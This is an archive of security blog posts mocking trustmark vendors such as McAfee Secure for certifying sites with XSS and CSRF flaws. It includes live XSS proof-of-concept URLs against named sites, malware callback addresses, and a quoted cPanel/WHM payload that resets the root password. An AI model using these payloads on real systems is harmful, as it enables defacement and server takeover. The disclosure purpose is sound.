Fun with fake Flash: an Abode update you don't want

Jericho of Attrition.org (support the Open Security Foundation!) recently asked the VIM mailing list a question: Adobe Flash - vuln or just "design"?
The question, inspired by Mike Bailey's work for Foreground Security, leads to healthy debate, including press and vendor response. But, ironically the same day I received the VIM mail, I was led to explore a slightly different perspective on Adobe Flash issues. Thus, your author doesn't intend to get in the middle of above proposed curmudgeonly discussion.

I am however inspired to be curmudgeonly; grumpy even.

The crux of this conversation is the fact that the oft updated Adobe Flash Player continuously proves to be social engineering attack vector fodder. This is by no means news, or likely a surprise to the 19 of you who read this blog, but I recently stumbled on a real gem in the wild and I thought I'd share.
Whilst defending the Intarwebs from evildoers, I spotted
hxxp://www.abodeplugin.com/flashpayer/thankyou/flashplayer.htm
Explore this site at your peril, the binary sure isn't Adobe's; nor is it any update you want to install.

First, the use of letter juxtaposition (Adobe to Abode) is a pretty smooth endeavor likely to be missed by happily unaware clickers.

Second, the faux page layout is built largely right from the source Abod...er, Adobe site.



This irony is not lost on me: this "update" page is so pure it includes JSON formatted addon offers from Adobe, including a free McAfee Security Scan. Woot! You're going to likely need one if you install plugin.exe.

Speaking of, plugin.exe is a Trojan-Downloader.Win32.Genome sample that would normally go grab additional ill-intended binaries. Runtime analysis showed some common behaviors, though this sample seemed rather neutered.
1) Spawned a process and created C:\WINDOWS\system32\services.exe
2) Made a call to 212.180.97.163 (hxxp://www.sofec.21s.fr/k70.htm), now resulting in a 404.
3) Strings output was amusing (highlights parsed):
Buffer overrun detected!
unable to initialize heap
unexpected heap error
HeapDestroy
HeapCreate
HeapReAlloc
HeapSize
show me the money!
Nice. Really?

Who knows what additional evilware once lurked at 212.180.97.163, but it wasn't likely removed by anyone thinking clearly. The site hosted there is in miserable shape, suffering from numerous issues including SQL injection, horribly managed Frontpage extensions, cross-site scripting, and more. Which is to say, "give any one species too much rope and they'll f**k it up" (Roger Waters from Amused to Death).





So what's the lesson?
Negligence begets opportunity.
Opportunity begets maliciousness.
Maliciousness begets victimization.
Simple, yet entirely preventable.

The above mentioned combination of bad web application security and common malware practices likely means that someone may not have a nice Thanksgiving and that makes me sad. I don't like to be sad.
So beware fake Flash updates and button up your crappy websites so jerkwater ne'er-do-well's have less opportunity, damn it!

I am thankful for my dear family and all 19 of you readers.
Pass the Tofurkey!

Cheers.

del.icio.us | digg | Submit to Slashdot

Please support the Open Security Foundation (OSVDB)

The McAfee Secure Double Standard

McAfee Secure claims to be McAfee Secure while not McAfee Secure

It's been a rough week for our McAfee Secure friends.
First, an XSS, Iframe injections, and XMLHTTP outing provided by XSSed.com, followed quickly by a CSRF browbeating from The Skeptikal One, Mike Bailey.
While these findings should not come as a surprise, I have no doubt McAfee moved as quickly as possible to resolve the issues.

What sadly should also not come as a surprise is that the entire time these numerous vulnerabilities were live, so too was the McAfee Secure trustmark.

I realize the odds of McAfee Secure removing the McAfee Secure trustmark when they are not McAfee Secure is highly unlikely, it nonetheless exemplifies a double standard.
The key question is this.
If the McAfee Secure customer portal is vulnerable to CSRF for 4-5 weeks while the portal code is under repair, should it declare itself McAfee Secure?

To further my point, language from the McAfee Secure Standard:
In the event that McAfee discovers a vulnerability that prevents a merchant’s website from complying with the McAfee SECURE standard, the merchant will have a 72-hour remediation window. In instances where McAfee believes confidential customer data is at immediate risk, or in those cases where McAfee has evidence of prior compromise, the McAfee SECURE trustmark may be removed before expiration of this 72-hour window.

While the McAfee Secure Standard does not indicate that CSRF by itself is worthy of pulling a trustmark, the fact remains that because Mike had demonstrated what could be done with this paricular vulnerability, such as a live weaponized attack script, McAfee was treating it like a high-priority critical issue.
I can therefore only hope that a McAfee Secure customer under the same circumstances would NOT have been displaying a McAfee Secure trustmark.

So there it, plain and simple, for your consideration.
A double standard?
You decide...comments welcome.

del.icio.us | digg | Submit to Slashdot

Please support the Open Security Foundation (OSVDB)

Recommendations for trustmark providers

I've been slow in responding to Pete Lindstrom's (Spire Security) prompt for recommendations and solutions for trustmark (security badge) providers, beyond my typical griping about same.
I appreciate Pete's candor and perspective, and shall endeavor to make amends.
Having repetitively taken issue with trustmarks, with McAfee Secure\Hackersafe facing the brunt of it, I propose the following to ALL trustmark providers, as I did during the creation of the McAfee Secure Standard.

1) Check the arrogance and sales hype at the door.
We have no doubt that you're in business to drive conversions first and security second, so just be honest about it.
We also have no doubt that there will be vulnerabilities in your customer's sites, so cut out the "we guarantee their security" angle and opt for the "we do the best we can to contribute to the security and well being of our customers, and their customers" approach.

2) Practice transparency.
How do you scan (very specifically)? If you simply run Nessus, say so. If you make use of custom algorithms and signatures, say so.

3) Publish your standard, most importantly inclusive of your intentions on how to enforce it.
If a customer's site is not compliant, how and when, if at all, will you pull down the trustmark badge?
I can't believe I'm about to say this but McAfee Secure really has set the standard for establishing a standard. While I believe it to be lacking in areas, at least they have one.

4) Actually enforce.
So often I've found websites in flagrant violation of any feasible security standards, and yet they display a trustmark. This simply should not be. It is misleading, dishonest, and deceptive.

5) Offer resources.
As an alleged security provider, offer your customers resources. Not just the "use SSL and all is well" bunk. Real resources: OWASP, SANS Top 25, SDL, how-to, the list goes on.

6) Provide an immediately evident point of contact for your trustmark program; an abuse@, security@, and/or info@ alias to which we can report sites we determine to be vulnerable.
I have found it difficult in the past to disclose vulnerabilities; it shouldn't be.

7) Offer incentives.
People often do well with incentive. A reward system for strong security practices demonstrated by your customers will reap benefits, and adversely, so too will a punishment system for non-performers.

Note: Keep a close eye on Skeptikal.org. Mike's of the same mindset, and has applied this spirit of thinking to PCI ASVs who themselves have missed the mark on security, while holding others to the embattled PCI DSS. Look for some interesting content next week.

Finally, dear trustmark provider, think integrity. Operating from that position should lead you down the right path.

del.icio.us | digg | Submit to Slashdot

The McAfee Secure Standard has been published

McAfee has alerted me that the McAfee Secure Standard has been published on the McAfee Secure (formerly ScanAlert Hacker Safe) website.
The McAfee SECURE Standard
Joe Pierini and Kirk Lawrence started this process with me prior to their departure from McAfee, and work continued in their absence, largely at the hands of Will M., who's been communicative and inclusive in their stead.
I applaud McAfee for staying true to their commitment to publish the McAfee Secure Standard.
While I may not agree with everything in it, a standard is better than no standard.
That said, my concerns with the Standard as discussed earlier remain unaddressed.
First, you will find that remediation of what McAfee deftly refers to as Client Side Vulnerabilities is Optional. The Client Side Vulnerabilities category includes the entire family of script insertions.
Clarified, this means that merchants displaying the McAfee Secure trustmark are under no obligation to repair such vulnerabilities; the trustmark will remain displayed unabated by the truth.
My position here is clear.
If a website declaring itself secure via a McAfee Secure trustmark is vulnerable to cross-site scripting (XSS), I believe that declaration to be false and misleading. Further elaborated, the McAfee Secure Standard's Client Side Vulnerability category includes cross-site request forgery (CSRF).
While I choose not to out any site in particular at this time, I can assure you with all professional certainty that there are sites displaying a McAfee Secure trustmark that are vulnerable to CSRF. In the case of sites using one particular application, the CSRF vulnerability is so severe, an attacker can escalate privilege in short order.
This is a vulnerability that I've discovered and disclosed responsibly, so I won't discuss it further at this time.
But I ask you, should a site vulnerable to such an attack be labeled as McAfee Secure, per their freshly published Standard?
I think not.
Also Optional on the McAfee Secure Standard: SSL Encryption.
Should a website that conducts financial transactions, yet does not choose to encrypt transaction traffic, be allowed to display a McAfee Secure trustmark?
I think not.
Ironically, the McAfee Secure Standard directly compares itself to PCI DSS. None of the vulnerabilities listed as Optional, per the McAfee Secure Standard, are acceptable for PCI certification.
While the McAfee Secure Standard careful delineates the difference between the Secure trustmark program and their PCI Compliance program, it's not as black and white as they may think. McAfee is a PCI approved scanning vendor (ASV), and a provider of a popular PCI compliance service.
Should they really hold one set of customers to a different standard than the other?
I think not.
Again, I applaud McAfee for publishing the McAfee Secure Standard.
I never imagined we'd get this far, so I humbly ask McAfee to consider the following.
1) Don't bury the Standard. Announce it. Publicize it. Embrace discussion about it. Provide a link to it from the McAfee Secure website. While we may have differences over some of its content, the McAfee Secure Standard is a bold step. Let people know.
2) Disguising script insertions (XSS and CSRF) in the Client Side Vulnerabilities category is a disservice to your customers, and their customers. The "clients" in Client Side Vulnerabilities are consumers using these sites. I believe you are beholden to these consumers as much as you are your own.
Extend the timetable for merchant repair of these vulnerabilities if you must, but said repair should not be Optional.
3) A McAfee Secure site, with a McAfee Secure trustmark, without an SSL certificate is unfathomable. While many a vulnerability can be exploited under the umbrella of SSL protection, SSL encryption is nonetheless an industry standard that should not be Optional.
These things I ask of McAfee in the name of common sense and consumer well-being.
To quote the McAfee Secure website:
"When you display the McAfee Secure certification mark, you not only increase sales by increasing shopper confidence, you build your brand with the security seal seen on more top sites than any other."
Is "increasing confidence" at the expense of industry standards, and real web security a violation of good faith and the very trust you seek to build?
I think so.

As always, I welcome constructive and thoughtful comments and feedback.

del.icio.us | digg | Submit to Slashdot

XSS Comedy III: Tax Cheats with Small Equipment

As part of an ongoing series, if I may I, the third in a series on the absurd, inane, and perhaps even funny. Lest you forget: the first and second in the series.
I don't know about you, but I enjoy occasionally watching offerings like the History Channel, AMC, or the Military Channel. I'm a 40ish, white male and as such I likely fit the general demographic as perceived by the marketing geniuses who buy the late evening advertising blocks on these channels.
That does NOT mean that I cheat on my taxes and thus need the services of a plethora of scam artists selling tax relief. Nor does it mean that I have any interest in "enhancement" opportunities like Enzyte or ExtenZe.
I just love people who choose to skip out on a primary obligation of citizenship that most of us choose to meet, and expect to magically turn $100,000 in tax debt into $999. Then there are the "businesses" who exploit these folks and willingly convince them of their "success" via the power of advertising, at which point my patience just snaps, as it did last night.
Thus, part one of this rant is a mighty bugger off to all the "tax relief" companies. To their patrons, may I suggest simply paying taxes like the rest of us?
Here's an XSS vulnerability in the Freedom Financial Network, "as seen on TV", designed to express precisely how I feel:

http://www.freedomfinancialnetwork.com/tax_debt.php?pid=ffn+go&key=%22%3E%3Cmarquee%3E%3Ch1%3ENOTHING_IS_FREE!%3C%2Fh1%3E%3C%2Fmarquee%3E

If and when they fix this issue, here's the video for posterity.

Part two of this rant will get you more bang for your buck, and I'm not talking enhancement.
Thanks to my utter disdain for the endlessly annoying advertising I went to the ExtenZe site to see what might be broken which immediately led me to discover an entire platform vulnerability in the ColdFusion application built by Internet Direct Response (IDR), the wankers who proudly bring you Maxoderm, Vivaxa, Vazomyne, Smoke Away, and Hydroxydrene; all such reputable products, and all repetitively wearing me out via DirectTV. At the ExtenZe site I spotted a variable that seemed worthy of building a Googledork from, and I soon discovered that it was a consistent variable in most of the sites pimping this crap; specifically, microppcsite. You can follow all the search results back to our friends at IDR.
A little experimentation and I quickly discovered that the similar microppcterm variable was vulnerable to entertaining XSS exploitation so I started with:

http://www.extenzeforlife.com/?microppcsite=googleµppcterm=%22%3E%3Cmarquee%3E%3Ch1%3EToo_short,_Morningwood?%3C%2Fh1%3E%3C%2Fmarquee%3E&gclid=CJ3T2NXH8JYCFQQCagod7xyBrA

Pick your poison, it works on most IDR gems.

http://www.enzyte-male-enhancement.com/google/?microppcsite=googleµppcterm=%22%3E%3Cmarquee%3E%3Ch1%3EBob_just_wants_your_money.%3C%2Fh1%3E%3C%2Fmarquee%3E

Again, a video, should IDR choose to fix their app.

And now, the grand prize for pathetic: The ExtenZe site is McAfee Secure.

I couldn't make this stuff up if I tried.
You thought www stood for world wide web. Try wee willy wankers. *sigh*

del.icio.us | digg | Submit to Slashdot

The McAfee Secure Standard: Sort Of

I need your help.
I am in receipt of the McAfee Secure Standard, drafted to transparently describe the McAfee Secure service, as promised during my meeting with Joe Pierini and Kirk Lawrence of McAfee some weeks ago. I admit my attitude has soured since last I discussed it here, as the Standard is not yet ready for public release (I last said 2-3 weeks and that was five weeks ago), but bear with me. I can't publish exact quotes from the Standard, as I've promised not to, but let me give you insight on the upside, then the downside.

The upside includes all the transparency we'd hoped for. You'll read the McAfee Secure Standard and know exactly where they stand with regard as to what can be expected of the McAfee Secure Service. My discussions with Joe Pierini have been productive and respectful; he means well, and I believe he will try to drive the greater McAfee leadership to officially incorporate suggestions made in this blog.
I have even had the pleasure of reading a Researcher/Finder Policy that very succinctly describes what researchers can expect when they submit vulnerabilities found in McAfee Secure sites. That's all good stuff and to be applauded.

Now for the downside.

The McAfee Secure Standard will draw a clear distinction between "enterprise" customers and all the Ma & Pa websites who have so loved McAfee Secure / ScanAlert Hacker Safe for conversions.
The most glaring and painful distinction for me is this. While enterprise customers will have a clearly defined time line in which to remediate script injection vulnerabilities like XSS and open redirects, before losing their McAfee Secure badge, the Ma & Pa sites will have absolutely no requirement to fix their XSS issues. XSS vulnerabilities and the McAfee Secure badge will remain consistent on all those sites that care more about "convincing" their customers that they're secure with a McAfee Secure badge; a badge that, by its own pending standard, will contradict what we know to be truly secure.

My views are clear. I have made every effort to convince McAfee that this stance is counter intuitive to good web application security standards. I believe that, in their own way, they are listening. So here's your chance.
1) Is transparency enough?
2) Is holding only enterprise customers accountable acceptable?
3) Should ALL McAfee Secure customers be expected to fix their vulnerabilities, even if on different timelines?
4) What else do you want McAfee to hear, in the form of constructive feedback only?
I will publish all well written, thoughtful comments here. Let's keep it positive and see if we can help convince McAfee that script injection vulnerabilities and McAfee Secure can't exist in the same physical space. Like matter and anti-matter. ;-)
The floor is yours...

del.icio.us | digg | Submit to Slashdot

McIrony: An unexpected response from McAfee

Irony: incongruity between what might be expected and what actually occurs.

Right before Black Hat, I put together what I believed was a pretty strong arguement against McAfee Secure - Hacker Safe, at a level heretofore unexplored. I believe it was more damaging than anything I've said to date, and as such, presented potential risk for me. So I ran it by some friends before publishing it. Then a most extraordinary thing happened. I had a long chat with Nate McFeters, who described an awakening he'd recently experienced. He shared with me the belief that a better approach to potentially negative security research might be to try to create a positive outcome, and worry less about press cycles or exposure, the 15 minutes of fame if you will. He pointed to people like Mark Dowd as an example of people who conduct crushingly good research, and steer clear of the petty, ego driven bulls**t.
There I sat, repose like the thinking man, frozen for minutes. "Nate", I said, "I think you're right."
What do I aspire to as an information security professional; more readership or street cred than the next guy, or the respect of my peers for contributing to the greater good? Attention, press cycles, 15 minutes...it all has its allure, trust me on this.
But at the end of the day, I really do want to contribute to the greater good.
So I did something different. I sent my findings to McAfee and offered them an opportunity to respond, rather than publish first, ask questions later.
Here's the real kicker.
They responded.
I had a three hour lunch this past Thursday with two gentlemen from McAfee, who flew up from the Bay Area to Seattle to have a face to face with me. This, all by itself, speaks volumes to me. In addition to meeting with Kirk Lawrence, the new Director of Product Management for McAfee Secure, there I sat with, of all people, Joe Pierini, the very guy who has suffered more than his share of abuse, up to and including the Pwnie. As I have been a direct contributor and participant in heckling Joe, you can imagine our meeting could have been uncomfortable. It was not.
I have had expectations of McAfee and Scan Alert that to date have not been met, or my (your) perception has been that they have not been met.
This meeting was designed as an opportunity to voice some of these expectations, and see if McAfee, in turn, believed there was any merit to them.
Surprisingly, at least as spoken, we weren't all that far apart.
While, as a naive idealist, I believe that security should come before conversions, I am also grounded enough of a realize that the most attainable goal can be a marriage of both. This premise frames my expectations of McAfee.
Can they not be more of a "thought leader" for all the Ma & Pa websites who rely on McAfee Secure, first for a higher conversion rate, then security?
Can they not hold merchants to a higher standard, without alienating them and losing business?
Can they not embrace the security research community in a fashion that McAfee, the security community, the merchants, and consumers can all benefit from?
Can they not be more transparent in their approach, providing more details and feedback about their methods, their findings, and their vision?
I know McAfee Secure - Hacker Safe scans can find vulnerabilities.
I know they report the vulnerabilities to merchants.
What happens thereafter is where things begin to break down.
Can the scan engine be improved to find more vulns? Sure. That's really not that big a deal; technology can always be improved.
But, regarding holding merchants to a higher standard; therein is the whole point of this debate.
Anyone can throw a badge on a site.
But what happens when the site proves vulnerable is the key. I'll be candid here: I don't give a damn about the merchant at that point; it's the consumer who is at risk and needs something better from McAfee and their peers.
So, here begins a different approach. I know that making changes at a company the size of McAfee can be likened to the three miles it takes to turn around an aircraft carrier. I'm willing to work with them, and allow for a positive outcome.
I have been told that, in two or three weeks, we can expect a published standard, that clearly defines exactly what the McAfee Secure product offering adheres to, inclusive of their expectations for merchant remediation timelines, potential badge downgrades for unresolved vulnerabilities, and hopefully even a more clear stance on XSS.
I have been told that I will have the opportunity to discuss this standard, and invite feedback. Any standard is better than no standard.
I have also been told that this is just the beginning of changes that will lead to more of what I have hoped for in my expectations, over the next 6 months or so.
I am hopeful that we can take McAfee at their word, and even if slowly, see a positive outcome.

del.icio.us | digg

Cross-site scripting CAN be used to hack a server

UPDATE: They won the Pwnie for this at Black Hat! More surprising is the fact that allegedly someone from McAfee showed up to accept. At least they have a sense of humor. More details soon.

Likely you remember when Joseph Pierini at McAfee Secure / Hacker Safe said XSS wasn't important because "cross-site scripting can't be used to hack a server. You may be able to do other things with it. You may be able to do things that affect the end-user or the client. But the customer data protected with the server, in the database, isn't going to be compromised by a cross-site scripting attack, not directly."
That gem has made McAfee Pwnie worthy (winners announced tomorrow!); may the Lamest Vendor win.
That said, anyone with a clue knows that XSS attacks are ideal for credential theft, and if you can steal credentials, you can hack a server.
Looking for a textbook example? Check out mckt's new blog, skeptikal.org.
Here's a highlight:
"Every cPanel user's account contains a file titled .contactemail in its home directory. This is used to tell the server and administrators who to email when things go south, and can be changed by the user through the cPanel interface, the file manager tool, FTP, or through local scripts. It's only a text file, after all. Assuming we set our email address to:
"onmouseover="alert(1337)
When the friendly system administrator tries to reset our email address (because we forgot our password, obviously), he will receive an alert box in his browser.
But an alert box doesn't really demonstrate anything. Fortunately the WHM (Web Hosting Manager) interface has enough functionality that we can perform just about any system-level task we want. This one will reset the root password to 'owned':
"onmouseover="f=document.forms[0];f.action='/scripts/passwd';f.user.value='root';
f.removeChild(f.domain);d=document.createElement('input');f.appendChild(d);
d.name='password';d.value='owned';d=document.createElement('input');f.appendChild(d);
d.name='password2';d.value='owned';f.submit()
Of course, the only limit is your imagination- WHM can set up cron jobs, add and delete users, send full backups to a server of your choice, and reformat hard drives."

Hmm...I'd say that would be a server hack. ;-)
Welcome, Mike...keep up the good work.

del.icio.us | digg

McAfee's Hacker Safe nominated for a Pwnie

Updated 7/22/08: The Pwnies have added Cresta Pillsbury's gem: "We go in like a super hacker." Bless McAfee | Scan Alert for lameness like this, it'd be hard to make this stuff up.
Mondays don't usually include such glorious highlights but I'll gladly pass on this exception. The Pwnie Awards 2008 nominations are out, and under Lamest Vendor Response we find McAfee's Hacker Safe, specifically Joesph Pierini's response to the findings XSSed.com and I gave to Thomas Claburn for publication in Information Week this past January.
Joseph Pierini, director of enterprise services for the "Hacker Safe" program, stepped in it when he said that XSS vulnerabilities can't be used to hack a server:
Cross-site scripting can't be used to hack a server. You may be able to do other things with it. You may be able to do things that affect the end-user or the client. But the customer data protected with the server, in the database, isn't going to be compromised by a cross-site scripting attack, not directly.
As you can imagine, this one gets my vote.
Winners will be announced at the BlackHat USA reception at Caesar's Palace, Las Vegas on Wednesday, August 6th, 2008.
Should you wish further reading on the McAfee Secure / Hacker Safe fiasco, you need only utilize this query or refer to all of Nate's coverage on Zero Day.
I must admit, I'm curious who McAfee will have at Black Hat to receive this prestigious award should they win. I'm torn between suggesting Brett Oliphant or Pierini himself. ;-)
Cheers.

del.icio.us | digg

XSS Comedy at McAfee Secure's Expense

In celebration of the deadline for PCI Requirement 6.6 compliance as of June 30, 2008, I thought I'd share a little web app sec comedy at McAfee Secure's expense.
As well you should know by know, the existence of XSS vulnerabilities in a site that is required to meet PCI DSS standards means that the site IS NOT PCI COMPLIANT. Very simple, right?
Let's consider the McAfee Secure/Hacker Safe-branded site for Organize-It.
A seemingly handy site, perfect for your HGTV types, likely with healthy credit card limits. Uh-oh, here it comes. Oh yes, Organize-It handles credit cards and is thus beholden to PCI DSS.
Organize-It is also proudly displaying a current McAfee Secure badge, indicating that it's tested daily.
Given the focus of many a recent discussion it shouldn't shock you that Organize-It is vulnerable to XSS.
What's funny is what Organize-It does with regard to "handling" malformed requests.
Where a typical test string for XSS might be " script payload /script (characters removed or Blogger will let me XSS myself), you won't get much use from such a string via either direct form submittal or URL encoding. But when the site barfed up '; // LEAVE THIS VALUE var sli_cId = 90;, while under investigation, my ruh-roh meter went off.
I decided to play with my trusty marquee test and found interesting results. The actual search form field is limited to 41 characters (er?). So my complete string of " marquee message /marquee didn't fit for direct submittal BUT THE MARQUEE RENDERED ANYWAY! Basically, half the test string worked: " marquee h1 This_site_is_NOT_McAfee_S
Forget the marquee tag on the blacklist, did we?
But here's the real icing on the cake. The uber-intuitive search index reinterpreted my message with what I can only imagine are index keywords. Thus "This site is NOT McAfee Secure" scrolls across the Organize-It site as "this sit is not coffee secure".
OMG! My daily quad shot Americano has been pwn3d to the core!
Here's the URL if you don't believe me, or the video if you prefer.
Forget PCI compliance, bring on the Gong Show hook, Chuck!
Cheers.

del.icio.us | digg

PC Universe is shrinking thanks to McAfee Secure's cluelessness

My web app sec friends know exactly how to push my red buttons. "Heh-heh, send it to Russ, he'll go off." Yep. ;-) Thanks, Rafal. Now I'm all spun up. I was sent two moronic gems this morning; one on the merits of McAfee Secure / Hacker Safe and the 109% sales increase it resulted in for PC Universe, the other an interview with the Internet's single biggest dillweed, Cresta Pillsbury. These articles are both a bit dated, but they equally embrace the premise of "trust" logos as a predominant sales driver, rather than any actual motivation to secure a site and protect consumers.
An example:
"If you’re doing conversion marketing and statistical testing on your website and you haven’t explored trust logos yet, then you’re missing out."
I must be the most naive person in the world; this enrages me. When will the idiots who write this crap get a clue? They've bought right into the hype the snake oil salesmen hoped they would and are now complicit in their failures.
Case in point, as seen in the Internet Retailer piece. By the way, I realize that Internet Retailer and basic web application security practices are completely at odds (as proven here), but this one deserves direct abuse.
"PC Universe first tested Hacker Safe on its own site in an A/B split test in which half the visitors saw the Hacker Safe seal and half did not. During that test, 7.3% more orders came from Hacker Safe shoppers than from the control group. PC Universe, which operates on the web at PCUniverse.com, is No. 360 in the Internet Retailer Top 500 Guide."
Really? Let's see what McAfee Secure / Hacker Safe has done to actually provide any measurable security benefit.
How about absolutely nothing.
Here's PC Universe's very current, verified McAfee Hacker Safe cert.
Now, here are a few ridiculous examples of reality from the this universe as opposed to the McAfee-twisted alternate universe. Please note, this is the "accountid" variable, and the fact that the marquee is rendered no less than eight times.
1) Marquee Remediated 6/30/08
2) XSS Deface Remediated 6/30/08
3) Cookie Remediated 6/30/08
Kudos for the quick fix PC Universe.
If you rather just see a video of these vulns, it's here.
PC Universe, rather than lauding your sales increases thanks to some POS logo, try securing your site code. I guarantee you have other issues.
McAfee Secure, once more, you are simply fraudulent to the core.

del.icio.us | digg

SaaS Snake Oil Top Ten, with video

As I was happily sniffing about for more annoying vendor fodder a few nights ago, I found a true gem. I was actually investigating ControlScan's practices and came across some poor hapless site owner that had been manipulated into buying both the ControlScan service and McAfee Secure / Hacker Safe by not one, but two snake oil salesmen.
This site was bound to be secure, right? Wrong!
Here's a new video to detail the inadequacies of both these services, at the same time.
But, as my disdain for these con artists grew yet stronger, it occurred to me (with the suggestion of an unnamed accomplice) that we needed a Letterman-like Top Ten list.
In this case SaaS will denote scanning as a service, rather than software or security, as security is the last thing these daft gits offer. These are all real statements, claims or quotes from these so called services.

Top Ten 10 signs the SaaS sales guy in front of you if offering up snake oil.

10. We first scan for open ports.
9. If you're interested in increasing your conversions, I'd suggest you sign up for WebSafe Shield.
8. Al Gore is on our board.
7. We held a hacker contest to break our security, and no one did.
6. We want to be the trusted partner who’s at your side, day by day, year to year,to help your business grow.
5. Increase your conversion rate or double your money back!
4. Our Web-based PCI Compliance 1-2-3 solution includes everything you need.
3. The "Verified Secure" mark appears only when a web site's security meets the highest security scanning standards of the U.S. government.
2. Unfortunately, the automated scanning technology we use doesn’t have this XSS scanning.
1. We go in like a super hacker.

There will be no rest for their souls in the afterlife; the web app security gods have a special in hell for salesmen and companies like this. ;-)

del.icio.us | digg

McAfee Partner isn't McAfee Secure either

Winferno.com is an authorized distributor of McAfee Software. OK.
They use Verisign 128-bit SSL to secure your transaction. Can't take issue with that.
All good so far...but wait!
Shouldn't a McAfee Partner be McAfee Secure?
Apparently not, and being one wouldn't have cured the XSS blues anyway.
Next in our video series, a supposedly secure shopping cart that is far from.

Here's an IFRAME.
Here's the cookie.
As well we know, coughing up the cookie counts as a really bad thing for any shopping cart, let alone an SSL protected shopping cart that happens to be a McAfee Partner and authorized distributor of McAfee Software. But lest we forget, McAfee doesn't count XSS as concerning.
Here's the video.
Huge props to Ronald van den Heetkamp for starting this whole debate years ago, and for exposing Brett Oliphant for the fraud that he is.
Fraud is the key word here. Hacker Safe was fraudulent, McAfee Secure is fraudulent, and buying from Winferno puts consumers at risk for being defrauded, not only due to horrendous site code, but perhaps bad business practices as well.
I won't even ask if McAfee has any standards, we already know the answer.
Their standards have left the building.

del.icio.us | digg

McAfee is NOT McAfee Secure

A challenge was put forth on Zero Day, and it has been answered.
Apparently, McAfee doesn't care about XSS on their own sites either.
I'll let the video speak for itself.
For the love of all thing good and proper, McAfee, please address this issue...for yourselves and the consumers who look to you to do the right thing.
Sincerely,
Russ McRee

del.icio.us | digg

Why PCI DSS is doomed.

Too much fun in the news to pass up on today.
First, the press release from McAfee indicating the obvious re-branding of McAfee Hacker Safe to McAfee Secure for Web Sites. Oh yes, dear friends, McAfee delivers the secure internet. The profound and deeply flawed arrogance continues, with a new name.
Rafal Los has already torn into this one, so I'll let you get the goods there, but after reading further I saw this gem:

Yep, full steam ahead. Now your credit cards are really going to be safe.


As you may know the previously vague PCI DSS 6.6 language has been made even more elusive with such useful language as:
"Keeping in mind that the objective of Requirement 6.6 is to prevent exploitation of common vulnerabilities (such as those listed in Requirement 6.5), several possible solutions may be considered. They are dynamic and pro-active, requiring the specific initiation of a manual or automated process. Properly implemented, one or more of these four alternatives could meet the intent of Option 1 and provide the minimum level of protection against common web application threats."
Such strong assertions: possible, may, could. We wouldn't want to actually commit, would we?
As if all of this wasn't enough, along comes the PCI mastery of the PCI Blog - Compliance Demystified, from pcianswers.com.
You'll get a 404 now, but here's the cached page.
Yep, a QSA actually debating the merits of ScanlessPCI.
"From what we can ascertain, ScanlessPCI.com is just a scam."
Really? We weren't sure.
"The larger concern is the fact that they require you to insert code into your Web site to get a copy of their certificate. Since you are inserting code into your Web page for a GIF, it is anyone’s guess as to whether or not they are hacking your site at the same time they are supposedly protecting it."
Oh, scary. Common, guys. I think you should insert this picture on your website. Then your customers can feel truly confident in your services. Man, my ribs still hurt from laughing.


del.icio.us | digg

Still not Hacker Safe, roll the video

Accuse me of beating a dead horse, but this really ticks me off. While preparing content for my monthly column, as well as presentation content for the ISSA NW Regional Security Conference, I found yet another bunch of McAfee Hacker Safe branded sites that are completely vulnerable to cross-site scripting (XSS), as well as other issues. The video I took points out only reflected, non-persistent vulnerabilities...no sites were harmed in the making of the video, and all sites have been advised. Nonetheless, let me make my point yet one more time.
1) Sites that are vulnerable to XSS are not PCI compliant. All of the sites in this video take CC payments and store customer information.
2) The sites in this video have been vulnerable for months. Additionally, some have been advised multiple times and have simply ignored my notices. Their McAfee Hacker Safe branding is active and has not been removed at any time.
3) The McAfee Hacker Safe service claims XSS as part of its vulnerability checks; sites that are vulnerable to it should not be showing the McAfee Hacker Safe label in perpetuity.
THEY ARE NOT HACKER SAFE AND CONSUMERS ARE AT RISK.
Please join me in protest by adding a comment to my open letter to Ken Leonard, CEO of Scan Alert. Send them email, ask the sites to fix the issues.
Unknowing consumers deserve far more than false claims of security and empty assurances designed to grow McAfee/ScanAlert revenues.
As I am not the only person greatly concerned over this issue, please visit Rafal Los' fine blog for additional findings.
Enjoy the video.

del.icio.us | digg

Scan Alert's Hacker Safe now obsolete

The industry has spoken, and McAfee Hacker Safe branding is now obsolete! Everyone can be PCI certified at no cost, with no effort. It's as easy as this:

PCI Certified by Scanless PCI

Now everyone can take credit cards to the satisfaction of PCI DSS.
I'm so excited! Thanks to Jeremiah for pointing out scanlesspci.com.
Internet commerce is now safe for everyone. Priceless.
del.icio.us | digg

XSS and PCI: Not compliant, or Hacker Safe

As a follow up to the last post on sites vulnerable to XSS that are certified McAfee Hacker Safe, there is more to this story.
Of the additional sites listed in Thomas Claburn's recent Information Week article, many take credit cards online and are thus required to comply with PCI DSS 1.1.
If a website is vulnerable to XSS, THE COMPANY IS NOT PCI COMPLIANT.
Supporting language from the Payment Card Industry Data Security Standard:
6.5 Develop all web applications based on secure coding guidelines such as the Open Web Application Security Project guidelines. Review custom application code to identify coding vulnerabilities. Cover prevention of common coding vulnerabilities in software development processes, to include the following:
6.5.1 Unvalidated input
6.5.2 Broken access control (for example, malicious use of user IDs)
6.5.3 Broken authentication and session management (use of account credentials and session
cookies)
6.5.4 Cross-site scripting (XSS) attacks

So not only can we call into question the validity of the Hacker Safe label, we can question how these businesses can be considered PCI compliant. Again, see the Information Week article for the list of sites.
For further consideration, what if these businesses, as McAfee Hacker Safe customers, are signed up for their Scan Alert PCI service?
"To validate compliance with the PCI DSS, a merchant, service provider, and/or financial institution may be required to undergo a PCI Security Scan conducted by an Approved Scanning Vendor (ASV)."
Are there potential gaps here as well?

del.icio.us | digg

Hacker Safe? Not so much.

Likely you've all read about Hacker Safe certified Geeks.com being hacked. ScanAlert, recently bought by McAfee, says that "research indicates sites remotely scanned for known vulnerabilities on a daily basis, such as those earning 'Hacker Safe' certification, can prevent over 99% of hacker crime."
I agree...but here comes strike two.
I was happily bouncing about the internet looking for things that should be fixed, when what did I see at Toastmasters International but a McAfee Hacker Safe certificate. Ever the skeptic, I said to myself "Prove it." But, of course, because my white hat and professional values require it, I remembered that first, do no harm are words to live by. But a wee script test in a form field can't hurt, right?
There's video of this here if you prefer.
Let's begin.
Here's the Advanced Search page, note the McAfee Hacker Safe tag in the lower right:


Then, said little test script about to be submitted to the Advanced Search page:

Ruh roh, Rastro. Can you say XSS?



Man, that's not good, so let's try a bit more trickery.



XSSed indeed.



Something tells me the McAfee Hacker Safe service offering would do well to dig a little deeper before certifying a site.
Meanwhile, sanitizing input might not be a bad idea for our Toastmasters friends.
